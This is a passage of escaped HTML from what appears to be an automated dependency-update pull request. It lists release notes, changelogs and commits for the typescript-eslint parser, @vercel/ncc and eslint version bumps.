\u003ccode\u003e@ts-expect-error\u003c/code\u003e is allowed by default ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a9a9d431017bd081a55f1d63d91c00ee901b7205\"\u003e\u003ccode\u003ea9a9d43\u003c/code\u003e\u003c/a\u003e docs: [restrict-template-expressions] clarify \u003ccode\u003eallowArray\u003c/code\u003e option behavior (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/091fe8241275300f022d521c2ac74f920b55a024\"\u003e\u003ccode\u003e091fe82\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [method-signature-style] suggest converting readonly func...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/d5502f9367c90f0e599cef47b3e090a1de343d40\"\u003e\u003ccode\u003ed5502f9\u003c/code\u003e\u003c/a\u003e docs: clarify consistent-type-imports guidance for verbatimModuleSyntax (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12194\"\u003e#12194\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/61a9dba6872ddcc996797c0fdfb9a3e3c825c3d2\"\u003e\u003ccode\u003e61a9dba\u003c/code\u003e\u003c/a\u003e chore(eslint-plugin): switch auto-generated test cases to hand-written in pre...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.63.0/packages/eslint-plugin\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/parser` from 8.61.0 to 8.63.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.63.0\u003c/h2\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] detect async usage of a sync dispose usage (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12426\"\u003e#12426\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12447\"\u003e#12447\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12446\"\u003e#12446\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12491\"\u003e#12491\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12485\"\u003e#12485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-base-to-string] don't flag a shadowed String() call (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12492\"\u003e#12492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escope-manager:\u003c/strong\u003e export ClassStaticBlockScope (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12460\"\u003e#12460\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKristjan \u003ca href=\"https://github.com/KristjanTammekivi\"\u003e\u003ccode\u003e@​KristjanTammekivi\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMichael Naumov \u003ca href=\"https://github.com/mnaoumov\"\u003e\u003ccode\u003e@​mnaoumov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSerhii Leniv \u003ca href=\"https://github.com/Serhii-Leniv\"\u003e\u003ccode\u003e@​Serhii-Leniv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.1\u003c/h2\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] use suggestion instead of autofix for trailing binary operator (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12328\"\u003e#12328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-boolean-literal-compare] preserve boolean result in fixer for nullable true comparisons (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12365\"\u003e#12365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] parenthesize object literal at left edge of expression statement (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12443\"\u003e#12443\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12418\"\u003e#12418\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003emdm317\u003c/li\u003e\n\u003cli\u003ePatrick Aleite\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.0\u003c/h2\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md\"\u003e@​typescript-eslint/parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eremove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.61.1 (2026-06-15)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.61.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/290cf6cdcc5ffb00c5b8f3e1e0e9f2fd8cc96374\"\u003e\u003ccode\u003e290cf6c\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.63.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/3ea32f4ba5e196c08c6da1095619d7f65ba4905e\"\u003e\u003ccode\u003e3ea32f4\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.62.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/54e285728e5d8cb83fadb8041189f0c3b4ab436a\"\u003e\u003ccode\u003e54e2857\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.62.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/81e4c2654c3f4d923766a888691add2c45b5d64a\"\u003e\u003ccode\u003e81e4c26\u003c/code\u003e\u003c/a\u003e feat: remove redundant package.json \u0026quot;files\u0026quot; (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser/issues/12444\"\u003e#12444\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/aaad7187b529c4b6ff8088ffd7e948c69c2763b6\"\u003e\u003ccode\u003eaaad718\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.61.1\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.63.0/packages/parser\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vercel/ncc` from 0.44.0 to 0.44.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/ncc/releases\"\u003e@​vercel/ncc's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.44.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vercel/ncc/compare/0.44.0...0.44.1\"\u003e0.44.1\u003c/a\u003e (2026-06-29)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003epreserve runtime createRequire in ESM builds (\u003ca href=\"https://redirect.github.com/vercel/ncc/issues/1334\"\u003e#1334\u003c/a\u003e) (\u003ca href=\"https://github.com/vercel/ncc/commit/8f0aefd6781d5305073aa8797a60a1833f06f06b\"\u003e8f0aefd\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vercel/ncc/issues/1312\"\u003e#1312\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/ncc/commit/8f0aefd6781d5305073aa8797a60a1833f06f06b\"\u003e\u003ccode\u003e8f0aefd\u003c/code\u003e\u003c/a\u003e fix: preserve runtime createRequire in ESM builds (\u003ca href=\"https://redirect.github.com/vercel/ncc/issues/1334\"\u003e#1334\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/ncc/commit/b9c6310a2bf0d92fd7ee801e0a563a1387e81899\"\u003e\u003ccode\u003eb9c6310\u003c/code\u003e\u003c/a\u003e chore: Update vm2 to latest version (3.11.5) (\u003ca href=\"https://redirect.github.com/vercel/ncc/issues/1333\"\u003e#1333\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/ncc/compare/0.44.0...0.44.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.6.0 to 10.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.7.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27\"\u003e\u003ccode\u003ecf2a9bf\u003c/code\u003e\u003c/a\u003e feat: add errorClassNames option to preserve-caught-error rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21032\"\u003e#21032\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f\"\u003e\u003ccode\u003ef8b873a\u003c/code\u003e\u003c/a\u003e feat: max-nested-callbacks option for constructor callbacks (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21063\"\u003e#21063\u003c/a\u003e) (fnx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/557fde8bc633d26ea4fe287d4483f287e8e6080f\"\u003e\u003ccode\u003e557fde8\u003c/code\u003e\u003c/a\u003e feat: support computed \u003ccode\u003eNumber.parseInt\u003c/code\u003e member access in \u003ccode\u003eradix\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21041\"\u003e#21041\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0b4a73b65808f5a8fd192f15db2bf5e47002b9f7\"\u003e\u003ccode\u003e0b4a73b\u003c/code\u003e\u003c/a\u003e feat: add suggestions to no-compare-neg-zero (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21034\"\u003e#21034\u003c/a\u003e) (den$)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96cdd427db5f26c6403fba92b0f7ae4556c595ec\"\u003e\u003ccode\u003e96cdd42\u003c/code\u003e\u003c/a\u003e feat: report invalid signed numeric radix values in \u003ccode\u003eradix\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21030\"\u003e#21030\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede\"\u003e\u003ccode\u003e3e7bf15\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003eignoreClassesWithImplements\u003c/code\u003e to class expressions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21069\"\u003e#21069\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0d7d70cf013ec5bf1e4f5a0fcf7128bdf059b2d4\"\u003e\u003ccode\u003e0d7d70c\u003c/code\u003e\u003c/a\u003e fix: insert cause outside wrapping parens in preserve-caught-error (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21062\"\u003e#21062\u003c/a\u003e) (Mahin Anowar)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/75ec753226010867270787b412f3dae412e421e6\"\u003e\u003ccode\u003e75ec753\u003c/code\u003e\u003c/a\u003e fix: handle static template literals in \u003ccode\u003eeqeqeq\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21058\"\u003e#21058\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b717a22e2408389a2ad40af66543e46390669eb6\"\u003e\u003ccode\u003eb717a22\u003c/code\u003e\u003c/a\u003e fix: prevent \u003ccode\u003eeqeqeq\u003c/code\u003e null option from reporting non-equality operators (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21057\"\u003e#21057\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e35b05f1961dcd691611bd68b6ff8a87072d6f76\"\u003e\u003ccode\u003ee35b05f\u003c/code\u003e\u003c/a\u003e fix: avoid \u003ccode\u003eno-invalid-regexp\u003c/code\u003e false positive for shadowed RegExp (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21051\"\u003e#21051\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a3172b69c7db63ea0321355543e3f527c7d8b76a\"\u003e\u003ccode\u003ea3172b6\u003c/code\u003e\u003c/a\u003e fix: avoid \u003ccode\u003eno-control-regex\u003c/code\u003e false positive for shadowed RegExp (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21050\"\u003e#21050\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d1f637eca27e523d613991c6bea5b8726b810e4c\"\u003e\u003ccode\u003ed1f637e\u003c/code\u003e\u003c/a\u003e fix: parenthesize sequence expression operands in no-implicit-coercion (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21045\"\u003e#21045\u003c/a\u003e) (spokodev)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8859bafb018e2b23b5110d52e491b69b94ad890a\"\u003e\u003ccode\u003e8859baf\u003c/code\u003e\u003c/a\u003e fix: avoid prefer-numeric-literals false positive for shadowed globals (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21047\"\u003e#21047\u003c/a\u003e) (한국)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a9e5961050676ef29dba9649dfcd7233d21760c7\"\u003e\u003ccode\u003ea9e5961\u003c/code\u003e\u003c/a\u003e fix: use-isnan false positive on shadowed NaN/Number (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20958\"\u003e#20958\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8a240a76108f30f2476e61a925e4d32d378cce5e\"\u003e\u003ccode\u003e8a240a7\u003c/code\u003e\u003c/a\u003e fix: avoid false positives in \u003ccode\u003eradix\u003c/code\u003e rule for spread arguments (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21044\"\u003e#21044\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf\"\u003e\u003ccode\u003ec30d808\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5139800b23e77fdd1a76664e1b36f478942eae55\"\u003e\u003ccode\u003e5139800\u003c/code\u003e\u003c/a\u003e docs: document ESLint migration codemods in v9 and v10 guides (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20980\"\u003e#20980\u003c/a\u003e) (Alex Bit)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/04174cbfaac1f9555400b5332d69056e6aab9cc6\"\u003e\u003ccode\u003e04174cb\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/026e1304080512bcddfd2af3557fff86474ff949\"\u003e\u003ccode\u003e026e130\u003c/code\u003e\u003c/a\u003e docs: update semver policy for bug fixes (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21048\"\u003e#21048\u003c/a\u003e) (Milos Djermanovic)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/9d42fefb0e05ecd0b256c2ebed479fc868862f0c\"\u003e\u003ccode\u003e9d42fef\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b23015955c8d6e6516076190730f538c86927f26\"\u003e\u003ccode\u003eb230159\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0129972ba122e95bece6040fda44d20f6799246a\"\u003e\u003ccode\u003e0129972\u003c/code\u003e\u003c/a\u003e docs: correct \u003ccode\u003e**/.js\u003c/code\u003e glob to \u003ccode\u003e**/*.js\u003c/code\u003e in config files guide (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21036\"\u003e#21036\u003c/a\u003e) (EduardF1)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64\"\u003e\u003ccode\u003e9489379\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/eslintrc\u003c/code\u003e to ^3.3.6 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21076\"\u003e#21076\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522\"\u003e\u003ccode\u003e81a4774\u003c/code\u003e\u003c/a\u003e chore: updates for v9.39.5 release (Jenkins)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4\"\u003e\u003ccode\u003e9835414\u003c/code\u003e\u003c/a\u003e chore: enable \u003ccode\u003e$ExpectType\u003c/code\u003e annotations in all TypeScript files (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21071\"\u003e#21071\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a\"\u003e\u003ccode\u003e72adf6b\u003c/code\u003e\u003c/a\u003e chore: restrict \u003ccode\u003emarkdownlint-cli2\u003c/code\u003e updates in renovate (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21067\"\u003e#21067\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/833ec10fd702644e94334edd3cd2aa313174a958\"\u003e\u003ccode\u003e833ec10\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.4 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21061\"\u003e#21061\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7ea106ddcb6af7db8f36d62a28dbaba94d33598e\"\u003e\u003ccode\u003e7ea106d\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21059\"\u003e#21059\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8fb550e7c257fbdc4108fc8e63db43c1d914d472\"\u003e\u003ccode\u003e8fb550e\u003c/code\u003e\u003c/a\u003e chore: add prettier update commit to \u003ccode\u003e.git-blame-ignore-revs\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21056\"\u003e#21056\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e4e11668ead6b950328c71e894563a13ef72bf84\"\u003e\u003ccode\u003ee4e1166\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21055\"\u003e#21055\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0493f53f3fcec4ed69a1808dffa153dcff1380d3\"\u003e\u003ccode\u003e0493f53\u003c/code\u003e\u003c/a\u003e chore: update prettier to v3.9.0 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21054\"\u003e#21054\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/1056a996c657b377dc16a58c28890d2940394408\"\u003e\u003ccode\u003e1056a99\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.8.5 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21049\"\u003e#21049\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4d4155df4a21d711e8dd21a467de085e770bad35\"\u003e\u003ccode\u003e4d4155d\u003c/code\u003e\u003c/a\u003e ci: run ecosystem tests on pull requests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21027\"\u003e#21027\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/993539fd45d3d01aad3fbc13963e2245fdf7ee0d\"\u003e\u003ccode\u003e993539f\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.0.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21042\"\u003e#21042\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/53f8b69c15af7398c989071ee4788b88edd48bdd\"\u003e\u003ccode\u003e53f8b69\u003c/code\u003e\u003c/a\u003e test: add error locations to \u003ccode\u003eno-constant-binary-expression\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21039\"\u003e#21039\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca 